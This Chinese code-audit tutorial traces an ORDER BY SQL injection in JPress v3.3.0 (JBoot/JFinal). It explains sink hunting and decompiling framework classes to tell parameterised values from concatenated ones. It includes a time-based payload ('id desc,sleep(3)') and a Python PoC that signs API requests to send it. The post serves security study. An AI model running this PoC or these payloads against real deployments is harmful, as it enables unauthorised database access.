java代码审计sql注入(JFinal/JBoot框架) 1
前面的shiro反序化https://www.cnblogs.com/nihao-xing/p/23433100
大致介绍了原理,我知道哪怕我写的原理再详细,其实很多人也会对着理论头大,其实我也很讨厌理论,可是我们是做研究的,这个问题是无法回避的。所以后面我会尽量多的收集些源码去进行复现和总结。但是现在我们先聊聊一个稍微简单点的sql注入。
https://www.cnblogs.com/nihao-xing/articles/23226471
我的前面的文章大致介绍了下sql注入的基础知识。
你也可以把php代审的sql注入和java代审的sql注入对比学习。
其实我很讨厌有些文章只炫耀自己的代码审计的技术,却不介绍自己的审计思路,可能这是别人吃饭的家伙,别人不愿意分享。不过没事,我会尽力讲清楚。
你们可以参考下下面别人的几篇文章。
https://www.freebuf.com/articles/web/463615.html
https://lusensec.github.io/2025/07/29/Nouns-Java-Code-Audit/index.html
思考:java中数据库操作接口
JDBC、Mybatis、MyBatis-Plus、Hibernate
这四种
sql注入的审计思路其实是比较复杂的,因为不同的数据库操作接口他们的字符串拼接形式,调用方法是不太一样的。
面试里如果只泛泛讲方法,不区分 JDBC、MyBatis、MyBatis-Plus、Hibernate 的拼接差异,很难体现真实的代审能力。
我们先讲JDBC
JDBC(JavaDataBaseConnectivity,java数据库连接)是一种用于执行SQL语句的JavaAPl,可以为多种关系数据库提供统一访问,它由一组用ava语言编写的类和接口组成。IDBC提供了一种基准,据此可以构建更高级的工具和接口,使数据库开发人员能够编写数据库应用程序,同时,JDBC也是个商标名。
执行流程
JDBC与MySQL进行连接交互,通常为以下6个流程:
1.注册驱动(仅仅做一次)
2.建立连接(Connection)
3.构建运行SQL的语句(Statement)
4.运行语句
5.处理运行结果(ResultSet)
6.释放资源
代码审计主要注意3.构建运行SQL的语句(Statement)
执行方法
JDBC存在两种方法执行SQL语句,分别为PreparedStatement和Statement,相比Statement,PreparedStatement会对SQL语句进行预编译,Statement会直接拼接sql语句造成SQL注入漏洞
-
Statement
String sql = "select * from user where id = " + userInput; Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(sql);直接把拼接好的完整 SQL 丢给数据库,数据库拿到之后才解析;如果输入可控,典型 SQL 注入。
危险方法:executeQuery()、executeUpdate()、execute()。 -
PreparedStatement(预编译)
String sql = "select * from user where id = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setInt(1, userInput);SQL 模板先发给数据库预编译,
?是占位符;后续只是传参数,参数不会被解析成 SQL 语法。
:正常使用不会产生注入。
:坑点:很多人写的时候,把整个 SQL 先用字符串拼好,再丢进prepareStatement,等于白给。// 这种写法毫无防护,依然注入 String sql = "select * from user where id = " + input; PreparedStatement pstmt = conn.prepareStatement(sql);
java中的字符串拼接方式
+
append()
concat()
join()
下面以JPress v3.3.0(JBoot 3.5.4)复现为例。 v5.0(JBoot 4.1.3)已修复,下面展示思路和技巧。
第 1 步(真正的第一步):先判断框架

# 看构建文件里的依赖,一目了然
grep -A1 "<artifactId>" pom.xml | grep -iE "mybatis|hibernate|jpa|jfinal|jboot|spring-jdbc|mysql-connector"
JPress 的 pom.xml 里是 io.jboot + com.jfinal + jfinal-weixin → 判定 JFinal/JBoot
这一步决定了你后面 grep 什么,因为每种框架的 SQL 注入 sink 长得完全不一样:
| 框架 | 判断依据(pom 依赖) | 注入 sink 特征 | 重点看什么 |
|---|---|---|---|
| MyBatis | mybatis |
XML mapper 里 ${} |
${}(危险)vs #{}(安全) |
| JPA/Hibernate | hibernate/spring-data-jpa |
createNativeQuery、JPQL 拼接 |
+ 拼接的 HQL/SQL |
| JFinal/JBoot | jfinal/jboot |
Db.*、DAO.* |
orderBy/表名/列名拼接 |
| 原生 JDBC | 只有 mysql-connector |
Statement/createStatement |
executeQuery("..." + 变量) |
| Spring JdbcTemplate | spring-jdbc |
jdbcTemplate.query(...) |
SQL 字符串 + 拼接 |
第 2 步:按框架类型圈 sink(而不是盲目 grep select/where)
JFinal/JBoot → 所以直接盯 Db.query/update/find/paginate 和 DAO.paginateByColumns/findListByColumns。
找sql执行层,不出意外,在依赖的jar包里
<jboot.version>3.5.4</jboot.version>
根据上一张图,我们找到了jboot的版本,但是没有jfinal的版本
思考,如何看jfinal的版本
1.最正规的是让 Maven 自己把整棵依赖树解析出来:
cd /f/daimashenji/jpress-3.3.0
mvn dependency:tree -Dincludes=com.jfinal:jfinal
2.如果报错,在本地仓库找
Maven 默认把所有依赖统一放在本地仓库
# 位置:~/.m2/repository/io/jboot/jboot/3.5.4/jboot-3.5.4.pom
grep -A3 "<artifactId>jfinal</artifactId>" ~/.m2/repository/io/jboot/jboot/3.5.4/jboot-3.5.4.pom
输出(刚实测):
<groupId>com.jfinal</groupId>
<artifactId>jfinal</artifactId>
<version>${jfinal.version}</version> ← 用的是属性占位符
grep "<jfinal.version>" ~/.m2/repository/io/jboot/jboot/3.5.4/jboot-3.5.4.pom
# <jfinal.version>4.9.02</jfinal.version>

于是依赖链就拼出来了:
JPress v3.3.0 → jboot 3.5.4 → jfinal 4.9.02
(pom.xml) (jboot-3.5.4.pom 里声明的传递依赖)
jfinal 4.9.02依赖的就是 jfinal 4.9.02.jar
思考:先反编译jfinal 4.9.02.jar还是jboot 3.5.4.jar
所以先反编译哪个,看你的 sink 是哪层
判断规则:sink 是 Db.* 就翻 jfinal,是 DAO.* 就翻 jboot。
Db.query 和 DAO.paginateByColumns是JFinal/JBoot 里所有 SQL 的咽喉:
- Db.query / update / find / paginate = 原生 SQL 门面,第一个参数就是完整 SQL 字符串 → 字符串拼了变量就是注入。
- DAO.findListByColumns / paginateByColumns / findFirstByColumns = Model 层,orderBy 参数是裸字符串拼进 ORDER BY → 值参数化了,唯独 orderBy 是注入点。
所有其它 SQL 操作(findById、save、deleteById)最终也是走这两条路,但它们的参数要么是主键数字、要么是对象,注入面小。所以优先盯这两个"带字符串参数"的入口,性价比最高。

IDEA里搜索DAO.paginateByColumns
光 grep DAO.paginateByColumns 并不会直接告诉你是哪个文件——它只会给你一个候选名单,真正钉死文件的是"追 orderBy 变量到 HTTP 入口"这一步。

第1层:grep 所有 sink 调用 paginateByColumns
第2层:过滤出 orderBy 是【变量】的 (排除 "id desc" 这种字面量)
思考:为什么要排除 "id desc" 这种字面量
因为注入的前提是"攻击者能控制拼进 SQL 的那个值"。字面量是开发者写死在代码里的,攻击者改不了;变量才是运行时才确定、可能来自用户输入的东西。
// ① 字面量:写死在源码里
DAO.paginateByColumns(page, size, columns, "id desc");
// 不管攻击者发什么请求,SQL 永远是:
// ... ORDER BY id desc
// 攻击者能往 SQL 里塞东西吗?不能。→ 安全
// ② 变量:运行时才填充
String orderBy = getPara("orderBy"); // ← 这个值来自 HTTP 请求
DAO.paginateByColumns(page, size, columns, orderBy);
// 攻击者发 ?orderBy=id desc,sleep(3),SQL 就变成:
// ... ORDER BY id desc,sleep(3) ← 攻击者控制 → 注入
@Override
public Page<UserOrder> paginate(int page, int pageSize, String productTitle, String ns) {
Columns columns = Columns.create().likeAppendPercent("product_title", productTitle).likeAppendPercent("ns", ns);
Page<UserOrder> userOrderPage = DAO.paginateByColumns(page, pageSize, columns, "id desc");
for (UserOrder order : userOrderPage.getList()) {
order.put("items", itemService.findListByOrderId(order.getId()));
}
return userOrderPage;
}
思考:page, pageSize, columns, "id desc"这4个参数,为什么我们只看第四个
page, pageSize是int类型,columns列名是写死的 "product_title"/"ns"

但是columns似乎没走占位符,那是不是就有机可乘呢?
还是不行
证据①:Column 把 name 和 value 分开两个字段存
javap -p io/jboot/db/model/Column.class
private String name; ← 列名单独存
private Object value; ← 值单独存,不是拼进 name 里
private String logic; ← LIKE / = / IN 这种逻辑符
值要是"拼进字符串"的话,就不会有独立的 value 字段了。分开存 = 值没有进 SQL 字符串。
证据②:Columns 专门有个 getValueArray() 把值单独取出来
javap -p io/jboot/db/model/Columns.class
public Object[] getValueArray(); ← 把一堆 Column 的 value 收集成一个数组
likeAppendPercent("product_title", productTitle) 只是把 productTitle 塞进 Column.value,然后靠 getValueArray() 统一取出。
证据③:拼 SQL 时写的是 ? 占位符,不是值本身
反编译 SqlBuilder,看到生成的 SQL 片段是带 ? 的:
ldc // String " ? AND ?" ← BETWEEN 的占位符
SqlPart 这个类就只存一个 sql 字符串字段(LIKE ?、= ? 这种片段),appendSqlPartLogic 拼 SQL 时调用的是 SqlPart.getSql(),而不是把 Column.value 拼进去。所以 SQL 出来是 product_title LIKE ?,值不在 SQL 里。
证据④:值数组最终作为 paras 传给 JFinal 的 DbPro.query
反编译 JbootModel.findListByColumns,看到关键两步:
javap -c -p io/jboot/db/model/JbootModel.class | grep -E "getValueArray|DbPro.query"
Columns.getValueArray() ← 取出值数组
Db.use() → DbPro.query(sql, Object... paras) ← 值和 SQL 分开传
最终落到 JbootDbPro.query(Config, Connection, String sql, Object[] paras),这里就是 JFinal 的标准实现——用 PreparedStatement 把 paras[i] 一个个 setString/setInt 绑到 ? 上。
整条证据链串起来
likeAppendPercent("product_title", productTitle)
│
▼
Column{ name="product_title", value=productTitle, logic="LIKE" } ← ① 值单独存
│
▼
SqlBuilder 生成 SQL: product_title LIKE ? ← ③ ? 占位符
│
▼
Columns.getValueArray() → [productTitle, ns] ← ② 值单独收集
│
▼
DbPro.query(sql, paras) ← ④ 值作参数,不拼 SQL
│
▼
PreparedStatement.setString(1, productTitle) ← 参数绑定
所以"值走 ?",从 Column 的字段结构 → getValueArray → SQL 里的 ? 占位符 → DbPro.query(sql, paras) 这条链一路反编译看到的。 值从头到尾没进过 SQL 字符串,自然注入不进去。
DAO.paginateByColumns(page, pageSize, columns, orderBy) 四参数逐一分析
| 参数 | 类型 | 怎么进 SQL | 攻击者能控制吗 | 结论 |
|---|---|---|---|---|
page |
int |
进 LIMIT 偏移量 |
能传,但被 getParaToInt 转成数字,不是字符串 |
不看 |
pageSize |
int |
进 LIMIT 条数 |
同上,数字 | 不看 |
columns |
Columns 对象 |
值走 ? 占位符,列名是写死的 "product_title"/"ns" |
值参数化、列名字面量 | 不看 |
orderBy |
String |
直接拼进 " ORDER BY " + orderBy |
这里恰好是 "id desc" 字面量 |
唯一要看的 |

排除到最后,只剩下一处orderby
@Override
@Cacheable(name = "articles")
public Page<Article> paginateInNormal(int page, int pagesize, String orderBy) {
orderBy = StrUtil.obtainDefaultIfBlank(orderBy, DEFAULT_ORDER_BY);
Columns columns = new Columns();
columns.eq("status", Article.STATUS_NORMAL);
Page<Article> dataPage = DAO.paginateByColumns(page, pagesize, columns, orderBy);
return joinUserInfo(dataPage);
}
这就是sink点
光标点到paginateInNormal

ArticleServiceProvider.java 128 return paginatelnNormal(page, pagesize, "id desc");
ArticleApiController.java 161 ? articleService.paginatelnNormal(pageNumber, 10, orderBy)
ArticlePageDirective.java 65 ? service.paginatelnNormal(page, pageSize, orderBy)
思考:追哪一个
ArticleServiceProvider.java 128传字面量,直接不用管
追后面2个
先看1.ArticleApiController.java 161

public void paginate() {
Long categoryId = getParaToLong("categoryId");
String orderBy = getPara("orderBy");
int pageNumber = getParaToInt("pageNumber", 1);
Page<Article> page = categoryId == null
? articleService.paginateInNormal(pageNumber, 10, orderBy)
: articleService.paginateByCategoryIdInNormal(pageNumber, 10, categoryId, orderBy);
renderJson(Ret.ok().set("page", page));
}
没看到http层,接着在这个文件往上翻

@RequestMapping("/api/article")
public class ArticleApiController extends ApiControllerBase {
完整 URL 是 GET /api/article/paginate,参数 orderBy、categoryId、pageNumber。
在我们通过IDEA的调试,把整个链都给搞出来了,思考啊,现在换作是你,能不能直接开始搞注入。
老玩家和新玩家的差距就在这里,他前面都继承了一个ApiControllerBase这个类。
这个东西它是一个未授权的sql注入吗?答案是no,需要追踪这个类。

跳

@Before({ApiInterceptor.class, UserInterceptor.class})
public abstract class ApiControllerBase extends ControllerBase {
protected void renderFailJson(String message) {
renderJson(Ret.fail("message", message));
}
protected void renderFailJson(int code, String message) {
renderJson(Ret.fail("code", code).set("message", message));
}
protected void renderOkJson(String attr, Object value) {
renderJson(Ret.ok(attr, value));
}
protected void renderOkDataJson(Object value){
renderJson(Ret.ok("data", value));
}
}
@Before({ApiInterceptor.class, UserInterceptor.class})
1. ApiInterceptor.class —— 这是"类字面量",不是继承
类名.class 在 Java 里返回这个类的 Class 对象引用(一个"类型令牌")。它只是告诉框架"我要用 ApiInterceptor 这个类",跟继承没关系。
ApiInterceptor.class // = ApiInterceptor 这个类的 Class 对象,仅此而已
2. @Before(...) —— 这是"挂拦截器",也不是继承
@Before 是 JFinal 框架的注解,含义是:请求进到这个 Controller 的 action 之前,先依次执行这些拦截器的 intercept() 方法。
@Before({ApiInterceptor.class, UserInterceptor.class})
翻译过来:"调用这个 Controller 的任何方法前,先过 ApiInterceptor 和 UserInterceptor 这两道闸门。" 相当于注册了前置过滤器。
3. 真正的"继承"是另一条:extends ApiControllerBase
public class ArticleApiController extends ApiControllerBase { ... }
// ↑ 这才是继承
继承的是 ApiControllerBase 这个类(字段、方法),不是 ApiInterceptor。
把关系理清
ArticleApiController ──extends──▶ ApiControllerBase
(继承:拿到基类的字段方法) │
└─ 身上有 @Before({ApiInterceptor.class, ...})
(注解:注册拦截器,不是继承)
请求 /api/article/paginate 进来时:
① ApiInterceptor.intercept() ← 校验 appId/sign/t
② UserInterceptor.intercept() ← 校验登录态
③ 才执行 paginate() 方法体
extends ApiControllerBase= 继承(父类)。@Before({ApiInterceptor.class})= 给这个 Controller 挂拦截器;ApiInterceptor.class只是"指定用哪个类当拦截器"的类引用。- 之所以
ArticleApiController也会被拦,是因为父类身上的@Before对子类同样生效——这是"继承父类的注解"。
光标放在ApiInterceptor.class
再跳

在ApiInterceptor.java发现这接口不是裸奔的,需要 appId + sign + t 签名。
import hashlib, sys, time, urllib.parse, urllib.request
SECRET = "secret123"
APPID = "jpress"
BASE = "http://127.0.0.1:8081/api/article/paginate"
def make_sign(params_decoded):
# params_decoded: dict of key->decoded value (the values the server will see)
keys = sorted(params_decoded.keys())
s = ""
for k in keys:
if k == "sign":
continue
s += k + params_decoded[k]
s += SECRET
return hashlib.md5(s.encode()).hexdigest()
def req(orderBy, extra=None):
params = {"appId": APPID, "t": str(int(time.time()*1000)), "pageNumber": "1", "orderBy": orderBy}
if extra:
params.update(extra)
# sign computed over decoded values (excluding sign)
sign = make_sign(params)
params["sign"] = sign
# build query string (URL-encoded)
qs = urllib.parse.urlencode(params)
url = BASE + "?" + qs
t0 = time.time()
try:
r = urllib.request.urlopen(url, timeout=30)
body = r.read().decode(errors="replace")
code = r.getcode()
except Exception as e:
body = str(e)
code = "ERR"
dt = time.time() - t0
return code, dt, body[:300]
if __name__ == "__main__":
orderBy = sys.argv[1] if len(sys.argv) > 1 else "id desc"
code, dt, body = req(orderBy)
print(f"HTTP {code} | {dt:.3f}s")
print(body)
poc如上
继续回到
思考:追哪一个
ArticleServiceProvider.java 128传字面量,直接不用管
追后面2个
看2
ArticlePageDirective.java 65

@JFinalDirective("articlePage")
public class ArticlePageDirective extends JbootDirectiveBase {
@Inject
private ArticleService service;
@Override
public void onRender(Env env, Scope scope, Writer writer) {
Controller controller = JbootControllerContext.get();
int page = controller.getParaToInt(1, 1);
int pageSize = getParaToInt("pageSize", scope, 10);
String orderBy = getPara("orderBy", scope, "id desc");
// 可以指定当前的分类ID
Long categoryId = getParaToLong("categoryId", scope, 0L);
ArticleCategory category = controller.getAttr("category");
if (categoryId == 0 && category != null) {
categoryId = category.getId();
}
Page<Article> articlePage = categoryId == 0
? service.paginateInNormal(page, pageSize, orderBy)
: service.paginateByCategoryIdInNormal(page, pageSize, categoryId, orderBy);
scope.setGlobal("articlePage", articlePage);
renderBody(env, scope, writer);
}
这个文件和 API 那条是两种完全不同的"可控性"。关键在 getPara 的重载版本不一样。
1. 先看这个类是什么:模板指令,不是 HTTP Controller
@JFinalDirective("articlePage") // 这是模板指令,不是 @RequestMapping
public class ArticlePageDirective extends JbootDirectiveBase {
它对应模板文件里的 #articlePage(...),由模板引擎调用,不是用户直接访问 URL 触发的。
2. 关键区别:这里的 getPara 是另一个重载,读的是"模板作用域"
两个 getPara 同名但完全不是一回事:
// API 那条(ArticleApiController)
String orderBy = getPara("orderBy"); // Controller.getPara(String) → 读 HTTP 请求参数
// 模板这条(ArticlePageDirective)
String orderBy = getPara("orderBy", scope, "id desc"); // JbootDirectiveBase.getPara(String, Scope, T) → 读模板作用域
我反编译过 JbootDirectiveBase.getPara(String, Scope, T):
public <T> T getPara(String name, Scope scope, T defaultValue) {
Object value = scope.getLocal(name); // ← 从模板作用域取,不是 HTTP
return value != null ? (T) value : defaultValue;
}
scope 里有什么?只有模板里写的东西(指令参数、setAttr 的 request attribute),没有 HTTP 请求参数。
3. 所以这条路径的 orderBy 谁能控制?
只有"写模板的人"(管理员)能控制——比如把模板写成:
#articlePage(orderBy="id desc,sleep(3)") ← 管理员改模板才能塞
而默认模板是:
#articlePage() ← 不传参,走默认 "id desc"
所以默认情况下这条路是安全的,要利用得先拿到"模板编辑"权限。
4. 两条路径对比
| API 路径 | 模板路径 | |
|---|---|---|
| 触发方式 | 直接发 HTTP 请求 | 模板渲染时 |
getPara 版本 |
Controller.getPara(String) → 读 HTTP 参数 |
JbootDirectiveBase.getPara(String,Scope,T) → 读模板作用域 |
| orderBy 谁能控制 | 任何攻击者(发请求即可) | 模板作者(管理员) |
| 危害 | 高(未授权/需 API 凭据) | 低(需模板编辑权限) |
| 审计结论 | 主漏洞 | 次级/潜在,备注即可 |
ArticlePageDirective 这条虽然也把 orderBy 传进了同一个 sink,但它的 orderBy 来自模板作用域,不是 HTTP 参数——默认模板不传、管理员不改模板就利用不了。所以它是低危的"潜在注入点",真正要打的是 ArticleApiController 那条(getPara("orderBy") 直读 HTTP)。
思考:我最开始不直接搜DAO.paginateByColumns,而是搜paginateByColumns有区别吗
有区别,多1个还是2个sink点,自己玩去,这里JFinal/JBoot框架就讲到这里。
下面一篇文章我会去讲解原生的 JDBC框架。不好意思,jdbc的框架由于ai找错了,这个JFinal/JBoot框架我已经开始写了,那就将错就错吧。
浙公网安备 33010602011771号